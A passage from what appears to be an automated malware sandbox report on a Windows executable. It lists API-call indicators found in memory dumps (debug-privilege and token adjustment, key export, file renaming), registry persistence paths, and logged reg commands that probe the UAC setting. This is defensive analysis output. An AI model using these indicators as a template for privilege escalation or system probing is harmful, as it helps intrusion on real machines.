"00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "IsProcessorFeaturePresent"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004460.00000000.93884.E7330000.00000004.mdmp") Found reference to API (Indicator: "SeDebugPrivilege"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp, 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp") Found reference to API (Indicator: "WinStationFreeMemory"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "WinStationCloseServer"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "WinStationOpenServerW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "LookupAccountSidW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "OpenSCManagerW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "EnumServicesStatusExW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CloseServiceHandle"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetNumberFormatW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "EnumWindowStationsW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "OpenWindowStationW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "SetProcessWindowStation"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CloseWindowStation"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "EnumDesktopsW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetThreadDesktop"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "OpenDesktopW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "SetThreadDesktop"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "EnumWindows"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetWindow"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetWindowTextW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RtlTimeToElapsedTimeFields"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RtlLargeIntegerToChar"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "NtQueryInformationProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoExW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "WNetGetLastErrorW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "NetServerGetInfo"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "NetApiBufferFree"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameExW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "GetTimeFormatW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "RtlVerifyVersionInfo"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API (Indicator: "CryptExportKey"; Source: "00000000-00007072.00000000.94219.82C10000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00007396.00000000.92259.01381000.00000020.mdmp") Found reference to API (Indicator: "SeShutdownPrivilege"; Source: "00000000-00007396.00000000.92259.01381000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00007396.00000000.92259.01381000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00007396.00000000.92259.01381000.00000020.mdmp")3e:T47b,Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FindResourceExW" (Indicator: "FindResource"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "FindResourceExW" (Indicator: "FindResource"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp")3f:T5d0,Found reference to API "MoveFileW" (Indicator: "MoveFile"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00000860.00000000.92190.00A40000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp") Found reference to API "" (Indicator: "MoveFile"; Source: "00000000-00007396.00000000.92259.00780000.00000004.mdmp")40:T473,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "OpenProcessToken.3" (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "OpenProcess" (Indicator: "OpenProcess"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp")41:T5c9,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004460.00000000.93884.955CA000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "WNetGetLastErrorW" (Indicator: "GetLastError"; Source: "00000000-00004572.00000000.95398.B1E22000.00000002.mdmp") Found reference to API "The function "%1" failed unexpectedly. Error=%2!d!, GetLastError=%3!d!." (Indicator: "GetLastError"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found reference to API "The function: "%1" failed unexpectedly. GetLastError=%2!d!." (Indicator: "GetLastError"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp") Found reference to API "GetLastError: %2!d!.%n" (Indicator: "GetLastError"; Source: "00000000-00004572.00000000.95398.D2C60000.00000002.mdmp")42:Tdcf,""HKLM\System\CurrentContro" in Source: screen_5.png, "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe, "DSystem\CurrentControlSet\Control\Session Manager" in Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe, "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe, "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: abc0064210d2fd9b3d2bcd93eb84413ebbe627e12cccd2cc97729fa8521983e2.exe, "System\CurrentControlSet\Control\Session Manager" in Source: 52708-17-0040256D, "reg query "HKU\S-1-5-19"" in Source: 00000000-00009132-00000C45-2384858314, "reg add "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /v "AppsUseLightTheme" /t reg_dword /d 0 /f" in Source: 00000000-00009132-00000C45-14562160648, "reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA"" in Source: 00000000-00009132-00000C45-59102792055, "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00000860.00000000.92190.01241000.00000020.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004460.00000000.93884.955CA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004460.00000000.93884.955CA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004460.00000000.93884.955CA000.00000002.mdmp, "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004460.00000000.93884.955CA000.00000002.mdmp, "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004460.00000000.93884.955CA000.00000002.mdmp, "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004460.00000000.93884.955CA000.00000002.mdmp, "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004460.00000000.93884.E7330000.00000004.mdmp, "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00004460.00000000.93884.E7330000.00000004.mdmp, "y\Machine\Software\ClassH" in Source: 00000000-00004460.00000000.93884.E7330000.00000004.mdmp, "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-0+" in Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, "Y\MACHINE\SOFTWARE\Classes\CLSID\{0000032A-0000-0000-C000-0000000000z" in Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6R" in Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, "\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}" in Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, "Y\MACHINE\SOFTWARE\C" in Source: 00000000-00004572.00000000.95398.D12C0000.00000004.mdmp, "The COM sub system is suppressing duplicate event log entries for a duration of %1 seconds. The suppression timeout can be controlled by a REG_DWORD value named %2 under the following registry key: HKLM\%3." in Source: 00000000-00004572.00000000.95398.D2C60000.00000002.mdmp, "Registry file %1 is loaded at HKU\%2." in Source: 00000000-00004572.00000000.95398.D2C60000.00000002.mdmp, "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00007396.00000000.92259.01381000.00000020.mdmp43:T1412,"1H12M2.exe" failed to load missing module " HTTP/1.1 404 Not Found Date: Wed 30 Apr 2025 11:48:22 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX X-PJAX-Container Turbo-Visit Turbo-Frame Accept-Encoding Accept X-Requested-With Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: origin-when-cross-origin strict-origin-when-cross-origin Content-Security-Policy: default-src 'none'; 